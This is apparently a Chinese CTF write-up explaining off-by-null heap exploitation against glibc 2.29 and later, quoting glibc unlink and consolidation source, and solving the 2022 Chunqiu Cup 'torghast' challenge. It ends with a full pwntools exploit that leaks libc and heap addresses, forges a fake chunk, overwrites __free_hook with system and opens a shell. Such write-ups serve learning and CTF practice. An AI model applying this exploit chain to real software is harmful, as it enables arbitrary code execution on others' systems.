glibc2.29以上的off-by-null

前言

其实网上已经有很多类似的文章,我本着复习的态度就再写一下,回顾一下整个流程。

off-by-null 说白了就是一个 chunk overlap 的过程,这个过程分为向上合并和向下合并,接下来就结合源码具体分析一下这个过程是怎么实现的。

一些宏定义

首先得知道 ptmalloc 是如何对 chunk 进行操作的·:是通过定义各种功能的宏

获取 chunk 的大小

1
2
3
4
5
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

获取下一 chunk 块地址

1
2
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

获取前一个 chunk 信息

1
2
3
4
5
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

判断当前 chunk 是否是 use 状态

1
2
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

向下合并

1
2
3
4
5
6
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

可以看到,它一开始会检查下一个 chunk 的 inuse 位是否为 0 ,因为下一个 chunk 的 inuse 位会标志当前 chunk 的使用状态。

如果为 0 ,说明当前 chunk 为空闲状态。于是触发 unlink ,将当前 chunk 的下一个 chunk 取出 chunk 链,再将当前 chunk 的 size 变为 size + nextsize

向上合并

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));//改指针p
unlink(av, p, bck, fwd);
}

相对于向下合并更加复杂,首先检查自己本身的 inuse 位是否为 0,即检查上一个 chunk 是否为空闲 chunk。

为 0,说明空闲。于是先获取上一个 chunk 的 size 大小,将其保存在 prevsize 中,然后将自己的 size 改为 size + 上一个 chunk 的 size

再将指向自己的指针 p ,减去上一个 chunk 的 size,使其指向上一个 chunk 所在的位置。

最后 unlink 将 上一个 chunk 从 chunk 链取出。

整个过程说白了就是把 上/下一个 chunk t 了,然后通过改变自己 chunk 的 size (向上合并时还要改变指针位置) 替代掉被 t 的chunk。

2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// In /glibc/glibc-2.27/source/malloc/malloc.c#L1404

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

主要的检查:

第一个:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

此时如果我们将相应大小的tca bin 填满,free chunk0 ,chunk0 会链入unsorted bin,此时 chunk0 的 fd 和 bk 都是 0x7f…..,同时 unsorted bin 只有 chunk0 ,所以链表头的 fd 和 bk 也都指向 chunk0。

第二个:

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

检查要脱链的 chunk 的 size 是否和 下一个 chunk 的 prev_size 相等。

于是可以构造如下 chunk

813771_RDMN83VJVTAFXQG

大致流程就是:

  1. 创建四个 chunk,这里直接对应 chunk 0,1,2,3(chunk3 是为了防止 off-by-null 的时候整个堆块与 top chunk 合并,chunk3 的 prev_size 要注意)
  2. free chunk0,此时 chunk1 的 prev_size 会留下 chunk0 的大小
  3. 通过 chunk1 off-by-null 覆盖到 chunk2,修改 chunk2 的 prev_size 和 size 的 p 位(prev_size 修改成 chunk0+chunk1 的大小)
  4. free chunk2 触发 unlink 合并
  5. 将 chunk0 进行 Unlink 操作,通过 chunk0 的 size 域找到 nextchunk 就是 chunk1 ,检查 chunk0 的 size 与 chunk1 的 prev_size 是否相等。
  6. 由于第二步中已经在 chunk1 的 prev_size 域留下了 chunk0 的大小,因此,检查通过

2.29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// In /glibc/glibc-2.29/source/malloc/malloc.c#L1460

/* Take a chunk off a bin list. */
static void unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

unlink 内部没有多大变化。

向上合并时发生了一点变化:

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

多了一行:

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

说白了就是会检查 chunk0 的 size 和 chunk2 的 prevsize 是否相等,这使得用传统的构造方式进行 chunk overlap 不可能实现。

于是就有了另一种方法,利用残留指针伪造 fake chunk,将 fake chunk 的 size 写为 chunk2 的 prevsize,不就绕过检查了吗。

直接用例题进行讲解

例题

题目是 2022 年春秋杯的 torghast

大概流程是通过加血的方式打过 level3,然后就可以进入菜单,这个过程就不细说了,主要讲讲 off-by-null 的过程。

edit 函数存在 off-by-null 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 edit()
{
unsigned int v1; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which Player To Change?");
read(0, buf, 3uLL);
v1 = atoi(buf);
if ( v1 > 0x10 )
{
puts("Segmentation Fault");
exit(0);
}
if ( !qword_5080[6 * v1] )
{
puts("Segmentation Fault");
exit(0);
}
puts("Your Log:");
if ( (int)read(0, (void *)qword_5080[6 * v1], qword_5088[6 * v1]) == qword_5088[6 * v1] )
*(_BYTE *)(qword_5080[6 * v1] + qword_5088[6 * v1]) = 0; //off-by-null
return __readfsqword(0x28u) ^ v3;
}

下面来看具体的构造过程

1
2
3
4
add(1,0x600,'b')#large
add(2,0x28,'a')
dele(1)
add(3,0x1000,'b')

创建一个 large bin 大小的 chunk,free 掉之后,再 add 一个比它大的 chunk3,chunk1 会被放入 large bin。

image-20220510103439287

1
add(4,0x28,'aaaaaaaa')

此时我们再 add 一个 chunk,chunk1 被放入 unsorted bin 并且被切割。large bin 残留的 fd_nextsize 和 bk_nextsize 残留在 chunk4 中。

image-20220510113725656

此时就可以泄露出 libcbase 和 heapbase

1
2
3
4
5
6
7
8
add(5,0x28,'aaaaaaaa')
add(6,0x28,'a')
add(10,0x40,'a')
add(7,0x28,'b')


edit(4,p64(heap+0x2e0)+p64(0x101)+p64(heap+0x300))
edit(5,p64(0)+p64(heap+0x2e0))

伪造一个 0x101 大小的 fake chunk,使得 (fake chunk -> fd) -> bk == fake chunk(fake chunk -> bk) -> fd == fake chunk

从而绕过 unlink 的一个检查:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

image-20220510120416427

1
2
3
4
5
add(8,0x4f0,'a')
add(9,0x28,'a')
edit(7,'a'*0x20+p64(0x100))

dele(8)

此时我们先将 unsorted bin 全部都申请完,再利用 chunk7 进行 off-by-null,将 chunk8 的 prev_size 改为 0x100(对应 fake chunk 的 size),size 后两位覆盖成 ‘\x00’

这样就可以绕过另外两个检查:

unlink 的检查:

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

结合 next_chunk 的宏定义一起看

1
2
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

向上合并的检查:

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);//chunk8
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));//fake chunk
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

image-20220510122735802

再 dele(8),就成功 chunk overlap 了,可以看到 chunk4 ~ chunk8 被合并成了一个 0x601 的 chunk

image-20220510124934625


这里还有一个小细节要注意的是,chunk8 的 size 被覆盖成了 0x500,但是 chunk8 下面的那个 chunk 的 prev_size 位记录了原 chunk8 的大小,如果 off-by-null 之前,这个 unsorted bin 的大小后两位不是 ‘\x00’,就会因为下一个 chunk 的 prev_size 和 0x500 不相等而报错。所以要在之前就将 chunk8 的后两位变为 ‘\x00’,说白了就是 off-by-null 覆盖 size 这一步不能改变 unsorted bin 的大小。


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import*
context.log_level = 'debug'
p = process('./pwn')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc.so.6')
#p = remote('')

def send(s):
sleep(0.1)
p.sendline(str(s))

def game(idx):
p.sendlineafter(':','1')
p.sendlineafter('\n',str(idx))

def magic(idx):
p.sendlineafter(':','1')
p.sendlineafter('\n','2')
p.sendlineafter('\n',str(idx))

def add(idx,size,con):
p.sendlineafter(':','1')
p.sendlineafter('\n',str(idx))
p.sendlineafter('\n',str(size))
p.sendafter('\n',con)

def edit(ind,test):
p.sendlineafter(':','2')
p.sendlineafter('?',str(ind))
p.sendafter(':',test)

def dele(ind):
p.sendlineafter(':','3')
p.sendlineafter(':',str(ind))

def show(idx):
p.sendlineafter(':','4')
send(2)
p.sendlineafter('?',str(idx))
send(1)
send(3)
send(4)
send(3)

def shid(idx):
p.sendlineafter(':','4')
send(2)
p.sendlineafter('?',str(idx))
send(3)


send(1)
send(1)
send(2)
send(1)
send(2)
send(1)
send(2)
send(1)
send(2)
send(4)
send(1)
send(1)
send(4)
send(3)

p.sendlineafter('\n','4')
p.sendlineafter(':','3')

add(1,0x600,'b')#large
add(2,0x28,'a')
dele(1)
add(3,0x1000,'b')

add(4,0x28,'aaaaaaaa')

show(4)
base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x7f865d134050+0x7f865cf47000
heap = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))-0x2d0
print "heap:"+hex(heap)
print "base:"+hex(base)
add(5,0x28,'aaaaaaaa')
add(6,0x28,'a')
add(10,0x40,'a')
add(7,0x28,'b')


edit(4,p64(heap+0x2e0)+p64(0xb1+0x50)+p64(heap+0x300))
edit(5,p64(0)+p64(heap+0x2e0))

add(8,0x4f0,'a')
add(9,0x28,'a')
edit(7,'a'*0x20+p64(0xb0+0x50))

dele(8)
gdb.attach(p)
############################
add(8,0x18,'a')
add(1,0x18,'a')
dele(1)
dele(8)

edit(4,p64(0)+p64(0x21)+p64(base+libc.sym['__free_hook']))
add(8,0x18,'/bin/sh\0')

add(1,0x18,p64(base+libc.sym['system']))
dele(8)

p.interactive()

参考链接

https://bbs.pediy.com/thread-257901-1.htm#msg_header_h2_1

https://www.anquanke.com/post/id/208407#h3-5

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/